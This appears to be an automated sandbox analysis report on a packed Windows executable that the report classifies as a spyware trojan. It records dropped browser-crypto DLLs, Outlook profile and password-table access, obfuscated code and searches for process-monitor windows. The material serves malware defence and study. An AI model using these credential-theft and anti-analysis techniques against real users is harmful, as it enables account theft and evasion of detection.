Source: C:\Users\user\Desktop\file.exe	Code function: 6_2_0117D921	6_2_0117D921
Source: C:\Users\user\Desktop\file.exe	Code function: 6_2_0115B957	6_2_0115B957
Source: C:\Users\user\Desktop\file.exe	Code function: 6_2_0115D36A	6_2_0115D36A
Source: C:\Users\user\Desktop\file.exe	Code function: 6_2_011533D2	6_2_011533D2
Source: C:\Users\user\Desktop\file.exe	Code function: 6_2_0114E3E9	6_2_0114E3E9
Source: C:\Users\user\Desktop\file.exe	Code function: 6_2_011582CE	6_2_011582CE
Source: C:\Users\user\Desktop\file.exe	Code function: 6_2_01159D54	6_2_01159D54
Source: C:\Users\user\Desktop\file.exe	Code function: 6_2_01063409	6_2_01063409
Source: C:\Users\user\Desktop\file.exe	Code function: 6_2_01156799	6_2_01156799
Source: C:\Users\user\Desktop\file.exe	Code function: 6_2_0110D637	6_2_0110D637
Source: C:\Users\user\Desktop\file.exe	Code function: 6_2_010C9664	6_2_010C9664
Source: C:\Users\user\Desktop\file.exe	Code function: 6_2_0114FE7A	6_2_0114FE7A
Source: C:\Users\user\Desktop\file.exe	Code function: 6_2_010D1EE4	6_2_010D1EE4
Source: C:\Users\user\Desktop\file.exe	Code function: 6_2_011556E2	6_2_011556E2
Source: C:\Users\user\Desktop\file.exe	Code function: 6_2_6C5635A0	6_2_6C5635A0
Source: C:\Users\user\Desktop\file.exe	Code function: 6_2_6C5D545C	6_2_6C5D545C
Source: C:\Users\user\Desktop\file.exe	Code function: 6_2_6C575440	6_2_6C575440
Source: C:\Users\user\Desktop\file.exe	Code function: 6_2_6C5A5C10	6_2_6C5A5C10
Source: C:\Users\user\Desktop\file.exe	Code function: 6_2_6C5B2C10	6_2_6C5B2C10
Source: C:\Users\user\Desktop\file.exe	Code function: 6_2_6C5DAC00	6_2_6C5DAC00
Source: C:\Users\user\Desktop\file.exe	Code function: 6_2_6C5D542B	6_2_6C5D542B
Source: C:\Users\user\Desktop\file.exe	Code function: 6_2_6C58D4D0	6_2_6C58D4D0
Source: C:\Users\user\Desktop\file.exe	Code function: 6_2_6C5764C0	6_2_6C5764C0
Source: C:\Users\user\Desktop\file.exe	Code function: 6_2_6C5A6CF0	6_2_6C5A6CF0
Source: C:\Users\user\Desktop\file.exe	Code function: 6_2_6C56D4E0	6_2_6C56D4E0
Source: C:\Users\user\Desktop\file.exe	Code function: 6_2_6C576C80	6_2_6C576C80
Source: C:\Users\user\Desktop\file.exe	Code function: 6_2_6C5C34A0	6_2_6C5C34A0
Source: C:\Users\user\Desktop\file.exe	Code function: 6_2_6C5CC4A0	6_2_6C5CC4A0
Source: C:\Users\user\Desktop\file.exe	Code function: 6_2_6C58ED10	6_2_6C58ED10
Source: C:\Users\user\Desktop\file.exe	Code function: 6_2_6C590512	6_2_6C590512
Source: C:\Users\user\Desktop\file.exe	Code function: 6_2_6C57FD00	6_2_6C57FD00
Source: C:\Users\user\Desktop\file.exe	Code function: 6_2_6C5A0DD0	6_2_6C5A0DD0
Source: C:\Users\user\Desktop\file.exe	Code function: 6_2_6C5C85F0	6_2_6C5C85F0
Source: C:\Users\user\Desktop\file.exe	Code function: 6_2_6C589E50	6_2_6C589E50
Source: C:\Users\user\Desktop\file.exe	Code function: 6_2_6C5A3E50	6_2_6C5A3E50
Source: C:\Users\user\Desktop\file.exe	Code function: 6_2_6C5B2E4E	6_2_6C5B2E4E
Source: C:\Users\user\Desktop\file.exe	Code function: 6_2_6C584640	6_2_6C584640
Source: C:\Users\user\Desktop\file.exe	Code function: 6_2_6C56C670	6_2_6C56C670
Source: C:\Users\user\Desktop\file.exe	Code function: 6_2_6C5D6E63	6_2_6C5D6E63
Source: C:\Users\user\Desktop\file.exe	Code function: 6_2_6C5A7E10	6_2_6C5A7E10
Source: C:\Users\user\Desktop\file.exe	Code function: 6_2_6C5B5600	6_2_6C5B5600
Source: C:\Users\user\Desktop\file.exe	Code function: 6_2_6C5C9E30	6_2_6C5C9E30
Source: C:\Users\user\Desktop\file.exe	Code function: 6_2_6C56BEF0	6_2_6C56BEF0
Source: C:\Users\user\Desktop\file.exe	Code function: 6_2_6C57FEF0	6_2_6C57FEF0
Source: C:\Users\user\Desktop\file.exe	Code function: 6_2_6C5D76E3	6_2_6C5D76E3
Source: C:\Users\user\Desktop\file.exe	Code function: 6_2_6C585E90	6_2_6C585E90
Source: C:\Users\user\Desktop\file.exe	Code function: 6_2_6C5CE680	6_2_6C5CE680
Source: C:\Users\user\Desktop\file.exe	Code function: 6_2_6C5C4EA0	6_2_6C5C4EA0
Source: C:\Users\user\Desktop\file.exe	Code function: 6_2_6C5A7710	6_2_6C5A7710
Source: C:\Users\user\Desktop\file.exe	Code function: 6_2_6C579F00	6_2_6C579F00
Source: C:\Users\user\Desktop\file.exe	Code function: 6_2_6C596FF0	6_2_6C596FF0
Source: C:\Users\user\Desktop\file.exe	Code function: 6_2_6C56DFE0	6_2_6C56DFE0
Source: C:\Users\user\Desktop\file.exe	Code function: 6_2_6C5B77A0	6_2_6C5B77A0
Source: C:\Users\user\Desktop\file.exe	Code function: 6_2_6C588850	6_2_6C588850
Source: C:\Users\user\Desktop\file.exe	Code function: 6_2_6C58D850	6_2_6C58D850
Source: C:\Users\user\Desktop\file.exe	Code function: 6_2_6C5AF070	6_2_6C5AF070
Source: C:\Users\user\Desktop\file.exe	Code function: 6_2_6C577810	6_2_6C577810
Source: C:\Users\user\Desktop\file.exe	Code function: 6_2_6C5AB820	6_2_6C5AB820
Source: C:\Users\user\Desktop\file.exe	Code function: 6_2_6C5B4820	6_2_6C5B4820
Source: C:\Users\user\Desktop\file.exe	Code function: 6_2_6C5D50C7	6_2_6C5D50C7
Source: C:\Users\user\Desktop\file.exe	Code function: 6_2_6C58C0E0	6_2_6C58C0E0
Source: C:\Users\user\Desktop\file.exe	Code function: 6_2_6C5A58E0	6_2_6C5A58E0
Source: C:\Users\user\Desktop\file.exe	Code function: 6_2_6C5960A0	6_2_6C5960A0
Source: C:\Users\user\Desktop\file.exe	Code function: 6_2_6C58A940	6_2_6C58A940
Source: C:\Users\user\Desktop\file.exe	Code function: 6_2_6C5BB970	6_2_6C5BB970
Source: C:\Users\user\Desktop\file.exe	Code function: 6_2_6C5DB170	6_2_6C5DB170
Source: C:\Users\user\Desktop\file.exe	Code function: 6_2_6C57D960	6_2_6C57D960
Source: C:\Users\user\Desktop\file.exe	Code function: 6_2_6C5A5190	6_2_6C5A5190
Source: C:\Users\user\Desktop\file.exe	Code function: 6_2_6C5C2990	6_2_6C5C2990
Source: C:\Users\user\Desktop\file.exe	Code function: 6_2_6C59D9B0	6_2_6C59D9B0
Source: C:\Users\user\Desktop\file.exe	Code function: 6_2_6C56C9A0	6_2_6C56C9A0
Source: C:\Users\user\Desktop\file.exe	Code function: 6_2_6C5A9A60	6_2_6C5A9A60
Source: C:\Users\user\Desktop\file.exe	Code function: 6_2_6C5A8AC0	6_2_6C5A8AC0
Source: C:\Users\user\Desktop\file.exe	Code function: 6_2_6C581AF0	6_2_6C581AF0
Source: C:\Users\user\Desktop\file.exe	Code function: 6_2_6C5AE2F0	6_2_6C5AE2F0
Source: C:\Users\user\Desktop\file.exe	Code function: 6_2_6C5DBA90	6_2_6C5DBA90
Source: C:\Users\user\Desktop\file.exe	Code function: 6_2_6C57CAB0	6_2_6C57CAB0
Source: C:\Users\user\Desktop\file.exe	Code function: 6_2_6C5D2AB0	6_2_6C5D2AB0
Source: C:\Users\user\Desktop\file.exe	Code function: 6_2_6C5622A0	6_2_6C5622A0
Source: C:\Users\user\Desktop\file.exe	Code function: 6_2_6C594AA0	6_2_6C594AA0
Source: C:\Users\user\Desktop\file.exe	Code function: 6_2_6C565340	6_2_6C565340
Source: C:\Users\user\Desktop\file.exe	Code function: 6_2_6C57C370	6_2_6C57C370
Source: C:\Users\user\Desktop\file.exe	Code function: 6_2_6C5AD320	6_2_6C5AD320
Source: C:\Users\user\Desktop\file.exe	Code function: 6_2_6C5D53C8	6_2_6C5D53C8
Source: C:\Users\user\Desktop\file.exe	Code function: 6_2_6C56F380	6_2_6C56F380

Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6C59CBE8 appears 134 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 00D945C0 appears 316 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6C5A94D0 appears 90 times

Source: file.exe, 00000006.00000002.1565711780.000000006C7E5000.00000002.00000001.01000000.00000007.sdmp	Binary or memory string: OriginalFilenamenss3.dll0 vs file.exe
Source: file.exe, 00000006.00000002.1565444356.000000006C5F2000.00000002.00000001.01000000.00000008.sdmp	Binary or memory string: OriginalFilenamemozglue.dll0 vs file.exe

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: file.exe

Static PE information: Section: mscidksm ZLIB complexity 0.9949102734614207

Source: file.exe, 00000006.00000003.1311274897.00000000056A0000.00000004.00001000.00020000.00000000.sdmp, file.exe, 00000006.00000002.1537629234.0000000000D91000.00000040.00000001.01000000.00000004.sdmp

Binary or memory string: =R.SLN6CO6A3TUV4VI7QN) U16F5V0%Q$'V<+59CPLCJJULOYXRHGLPW "53>/1

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@1/23@0/1

Source: C:\Users\user\Desktop\file.exe

Code function: 6_2_6C5C7030 GetLastError,FormatMessageA,__acrt_iob_func,__acrt_iob_func,__acrt_iob_func,fflush,LocalFree,

6_2_6C5C7030

Source: C:\Users\user\Desktop\file.exe

Code function: 6_2_00DA8680 CreateToolhelp32Snapshot,Process32First,Process32Next,CloseHandle,

6_2_00DA8680

Source: C:\Users\user\Desktop\file.exe

Code function: 6_2_00DA3720 CoCreateInstance,MultiByteToWideChar,lstrcpyn,

6_2_00DA3720

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W9FILL1W\LDFCGSAQ.htm

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: softokn3.dll.6.dr, softokn3[1].dll.6.dr	Binary or memory string: CREATE TABLE metaData (id PRIMARY KEY UNIQUE ON CONFLICT REPLACE, item1, item2);
Source: file.exe, 00000006.00000002.1550143924.000000001DDE4000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000006.00000002.1565615582.000000006C79F000.00000002.00000001.01000000.00000007.sdmp, file.exe, 00000006.00000002.1565194405.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3[1].dll.6.dr, nss3.dll.6.dr	Binary or memory string: UPDATE %Q.sqlite_master SET tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqliteX_autoindex%%' ESCAPE 'X' AND type='index' THEN 'sqlite_autoindex_' \|\| %Q \|\| substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');
Source: softokn3.dll.6.dr, softokn3[1].dll.6.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;
Source: file.exe, 00000006.00000002.1550143924.000000001DDE4000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000006.00000002.1565615582.000000006C79F000.00000002.00000001.01000000.00000007.sdmp, file.exe, 00000006.00000002.1565194405.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3[1].dll.6.dr, nss3.dll.6.dr	Binary or memory string: CREATE TABLE %Q.'%q_docsize'(docid INTEGER PRIMARY KEY, size BLOB);
Source: file.exe, 00000006.00000002.1550143924.000000001DDE4000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000006.00000002.1565615582.000000006C79F000.00000002.00000001.01000000.00000007.sdmp, file.exe, 00000006.00000002.1565194405.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3[1].dll.6.dr, nss3.dll.6.dr	Binary or memory string: CREATE TABLE IF NOT EXISTS %Q.'%q_stat'(id INTEGER PRIMARY KEY, value BLOB);
Source: file.exe, 00000006.00000002.1550143924.000000001DDE4000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000006.00000002.1565615582.000000006C79F000.00000002.00000001.01000000.00000007.sdmp, file.exe, 00000006.00000002.1565194405.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3[1].dll.6.dr, nss3.dll.6.dr	Binary or memory string: CREATE TABLE %Q.'%q_segdir'(level INTEGER,idx INTEGER,start_block INTEGER,leaves_end_block INTEGER,end_block INTEGER,root BLOB,PRIMARY KEY(level, idx));
Source: softokn3.dll.6.dr, softokn3[1].dll.6.dr	Binary or memory string: UPDATE %s SET %s WHERE id=$ID;
Source: softokn3.dll.6.dr, softokn3[1].dll.6.dr	Binary or memory string: SELECT ALL * FROM metaData WHERE id=$ID;
Source: softokn3.dll.6.dr, softokn3[1].dll.6.dr	Binary or memory string: SELECT ALL id FROM %s WHERE %s;
Source: softokn3.dll.6.dr, softokn3[1].dll.6.dr	Binary or memory string: INSERT INTO metaData (id,item1) VALUES($ID,$ITEM1);
Source: softokn3.dll.6.dr, softokn3[1].dll.6.dr	Binary or memory string: INSERT INTO %s (id%s) VALUES($ID%s);
Source: file.exe, 00000006.00000002.1550143924.000000001DDE4000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000006.00000002.1565615582.000000006C79F000.00000002.00000001.01000000.00000007.sdmp, file.exe, 00000006.00000002.1565194405.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3[1].dll.6.dr, nss3.dll.6.dr	Binary or memory string: INSERT INTO %Q.sqlite_master VALUES('index',%Q,%Q,#%d,%Q);
Source: file.exe, 00000006.00000002.1550143924.000000001DDE4000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000006.00000002.1565194405.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(addr INT,opcode TEXT,p1 INT,p2 INT,p3 INT,p4 TEXT,p5 INT,comment TEXT,subprog TEXT,stmt HIDDEN);
Source: file.exe, 00000006.00000002.1550143924.000000001DDE4000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000006.00000002.1565615582.000000006C79F000.00000002.00000001.01000000.00000007.sdmp, file.exe, 00000006.00000002.1565194405.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3[1].dll.6.dr, nss3.dll.6.dr	Binary or memory string: CREATE TABLE %Q.'%q_segments'(blockid INTEGER PRIMARY KEY, block BLOB);
Source: softokn3.dll.6.dr, softokn3[1].dll.6.dr	Binary or memory string: INSERT INTO metaData (id,item1,item2) VALUES($ID,$ITEM1,$ITEM2);
Source: file.exe, 00000006.00000003.1422954664.000000001DCFF000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000006.00000003.1405751936.000000001DCE4000.00000004.00000020.00020000.00000000.sdmp, HIIEBAFCBKFIDGCAKKKF.6.dr, AFHDGDGIIDGCFIDHDHDH.6.dr	Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));
Source: file.exe, 00000006.00000002.1550143924.000000001DDE4000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000006.00000002.1565194405.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE "%w"."%w_parent"(nodeno INTEGER PRIMARY KEY,parentnode);
Source: softokn3.dll.6.dr, softokn3[1].dll.6.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;CREATE TEMPORARY TABLE %s AS SELECT * FROM %sD
Source: file.exe, 00000006.00000002.1550143924.000000001DDE4000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000006.00000002.1565194405.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(type TEXT,schema TEXT,name TEXT,wr INT,subprog TEXT,stmt HIDDEN);
Source: softokn3.dll.6.dr, softokn3[1].dll.6.dr	Binary or memory string: SELECT DISTINCT %s FROM %s where id=$ID LIMIT 1;

Source: file.exe

ReversingLabs: Detection: 47%

Source: file.exe

String found in binary or memory: 3Cannot find '%s'. Please, re-install this application

Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mozglue.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: msvcp140.dll	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0358b920-0ac7-461f-98f4-58e32cd89148}\InProcServer32

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\13.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001

Jump to behavior

Source: file.exe

Static file information: File size 1828864 > 1048576

Source: file.exe

Static PE information: Raw size of mscidksm is bigger than: 0x100000 < 0x198400

Source:	Binary string: mozglue.pdbP source: file.exe, 00000006.00000002.1565403351.000000006C5DD000.00000002.00000001.01000000.00000008.sdmp, mozglue[1].dll.6.dr, mozglue.dll.6.dr
Source:	Binary string: freebl3.pdb source: freebl3.dll.6.dr, freebl3[1].dll.6.dr
Source:	Binary string: freebl3.pdbp source: freebl3.dll.6.dr, freebl3[1].dll.6.dr
Source:	Binary string: nss3.pdb@ source: file.exe, 00000006.00000002.1565615582.000000006C79F000.00000002.00000001.01000000.00000007.sdmp, nss3[1].dll.6.dr, nss3.dll.6.dr
Source:	Binary string: softokn3.pdb@ source: softokn3.dll.6.dr, softokn3[1].dll.6.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\vcruntime140.i386.pdb source: vcruntime140.dll.6.dr, vcruntime140[1].dll.6.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\msvcp140.i386.pdb source: msvcp140[1].dll.6.dr, msvcp140.dll.6.dr
Source:	Binary string: nss3.pdb source: file.exe, 00000006.00000002.1565615582.000000006C79F000.00000002.00000001.01000000.00000007.sdmp, nss3[1].dll.6.dr, nss3.dll.6.dr
Source:	Binary string: mozglue.pdb source: file.exe, 00000006.00000002.1565403351.000000006C5DD000.00000002.00000001.01000000.00000008.sdmp, mozglue[1].dll.6.dr, mozglue.dll.6.dr
Source:	Binary string: softokn3.pdb source: softokn3.dll.6.dr, softokn3[1].dll.6.dr

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\file.exe

Unpacked PE file: 6.2.file.exe.d90000.0.unpack :EW;.rsrc :W;.idata :W; :EW;mscidksm:EW;ferwzipo:EW;.taggant:EW; vs :ER;.rsrc :W;.idata :W; :EW;mscidksm:EW;ferwzipo:EW;.taggant:EW;

Source: C:\Users\user\Desktop\file.exe

Code function: 6_2_00DA9860 GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

6_2_00DA9860

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: file.exe

Static PE information: real checksum: 0x1c7961 should be: 0x1caa93

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .rsrc
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: mscidksm
Source: file.exe	Static PE information: section name: ferwzipo
Source: file.exe	Static PE information: section name: .taggant
Source: mozglue.dll.6.dr	Static PE information: section name: .00cfg
Source: mozglue[1].dll.6.dr	Static PE information: section name: .00cfg
Source: msvcp140.dll.6.dr	Static PE information: section name: .didat
Source: msvcp140[1].dll.6.dr	Static PE information: section name: .didat
Source: nss3.dll.6.dr	Static PE information: section name: .00cfg
Source: nss3[1].dll.6.dr	Static PE information: section name: .00cfg
Source: softokn3.dll.6.dr	Static PE information: section name: .00cfg
Source: softokn3[1].dll.6.dr	Static PE information: section name: .00cfg
Source: freebl3.dll.6.dr	Static PE information: section name: .00cfg
Source: freebl3[1].dll.6.dr	Static PE information: section name: .00cfg

Source: C:\Users\user\Desktop\file.exe	Code function: 6_2_01228924 push ebx; mov dword ptr [esp], eax	6_2_0122893C
Source: C:\Users\user\Desktop\file.exe	Code function: 6_2_01228924 push 6FD591D2h; mov dword ptr [esp], edx	6_2_012289EA
Source: C:\Users\user\Desktop\file.exe	Code function: 6_2_0124992F push 370ACD6Fh; mov dword ptr [esp], esi	6_2_01249A2E
Source: C:\Users\user\Desktop\file.exe	Code function: 6_2_0115193F push edi; mov dword ptr [esp], edx	6_2_011519F5
Source: C:\Users\user\Desktop\file.exe	Code function: 6_2_0115193F push edi; mov dword ptr [esp], ecx	6_2_011519FF
Source: C:\Users\user\Desktop\file.exe	Code function: 6_2_0115193F push esi; mov dword ptr [esp], eax	6_2_01151AEC
Source: C:\Users\user\Desktop\file.exe	Code function: 6_2_0115193F push 4724FC23h; mov dword ptr [esp], esi	6_2_01151B06
Source: C:\Users\user\Desktop\file.exe	Code function: 6_2_0115193F push eax; mov dword ptr [esp], edi	6_2_01151B22
Source: C:\Users\user\Desktop\file.exe	Code function: 6_2_0115193F push ecx; mov dword ptr [esp], esp	6_2_01151B3E
Source: C:\Users\user\Desktop\file.exe	Code function: 6_2_0115193F push 142BA786h; mov dword ptr [esp], eax	6_2_01151BA0
Source: C:\Users\user\Desktop\file.exe	Code function: 6_2_0115193F push 26856CECh; mov dword ptr [esp], edi	6_2_01151CCB
Source: C:\Users\user\Desktop\file.exe	Code function: 6_2_0115193F push ecx; mov dword ptr [esp], 02A2E9BEh	6_2_01151CEF
Source: C:\Users\user\Desktop\file.exe	Code function: 6_2_0115193F push ebp; mov dword ptr [esp], ecx	6_2_01151D0C
Source: C:\Users\user\Desktop\file.exe	Code function: 6_2_0115193F push 60CF5AA0h; mov dword ptr [esp], ecx	6_2_01151D2B
Source: C:\Users\user\Desktop\file.exe	Code function: 6_2_0115193F push 54B33A7Fh; mov dword ptr [esp], edx	6_2_01151D7C
Source: C:\Users\user\Desktop\file.exe	Code function: 6_2_0115193F push ebp; mov dword ptr [esp], 5EA4F699h	6_2_01151D9E
Source: C:\Users\user\Desktop\file.exe	Code function: 6_2_0115193F push ebx; mov dword ptr [esp], ebp	6_2_01151DAF
Source: C:\Users\user\Desktop\file.exe	Code function: 6_2_0115193F push 0C40D2FFh; mov dword ptr [esp], eax	6_2_01151DCC
Source: C:\Users\user\Desktop\file.exe	Code function: 6_2_0115193F push edi; mov dword ptr [esp], ebx	6_2_01151E21
Source: C:\Users\user\Desktop\file.exe	Code function: 6_2_0115193F push edx; mov dword ptr [esp], 29D53504h	6_2_01151E3C
Source: C:\Users\user\Desktop\file.exe	Code function: 6_2_0115193F push 128430A6h; mov dword ptr [esp], edx	6_2_01151EAE
Source: C:\Users\user\Desktop\file.exe	Code function: 6_2_0115193F push 16C006AAh; mov dword ptr [esp], edx	6_2_01151F06
Source: C:\Users\user\Desktop\file.exe	Code function: 6_2_0115193F push edi; mov dword ptr [esp], ecx	6_2_01151F2A
Source: C:\Users\user\Desktop\file.exe	Code function: 6_2_0115193F push 41D1B440h; mov dword ptr [esp], ecx	6_2_0115200E
Source: C:\Users\user\Desktop\file.exe	Code function: 6_2_0115193F push 7AE25463h; mov dword ptr [esp], esi	6_2_0115201E
Source: C:\Users\user\Desktop\file.exe	Code function: 6_2_0115193F push 3500BEFFh; mov dword ptr [esp], ecx	6_2_0115204A
Source: C:\Users\user\Desktop\file.exe	Code function: 6_2_0115193F push ebx; mov dword ptr [esp], 72CF845Dh	6_2_011520C4
Source: C:\Users\user\Desktop\file.exe	Code function: 6_2_0115193F push eax; mov dword ptr [esp], ebp	6_2_011520D7
Source: C:\Users\user\Desktop\file.exe	Code function: 6_2_0115193F push edi; mov dword ptr [esp], ebx	6_2_01152190
Source: C:\Users\user\Desktop\file.exe	Code function: 6_2_0115193F push 7935C176h; mov dword ptr [esp], ecx	6_2_0115219E
Source: C:\Users\user\Desktop\file.exe	Code function: 6_2_0115193F push edx; mov dword ptr [esp], ebp	6_2_01152200

Source: file.exe

Static PE information: section name: mscidksm entropy: 7.954586600170134

Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\DQNVS06W\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\DQNVS06W\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\DQNVS06W\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\DQNVS06W\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\DQNVS06W\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\DQNVS06W\vcruntime140[1].dll	Jump to dropped file

Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file

Boot Survival

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Filemonclass	Jump to behavior
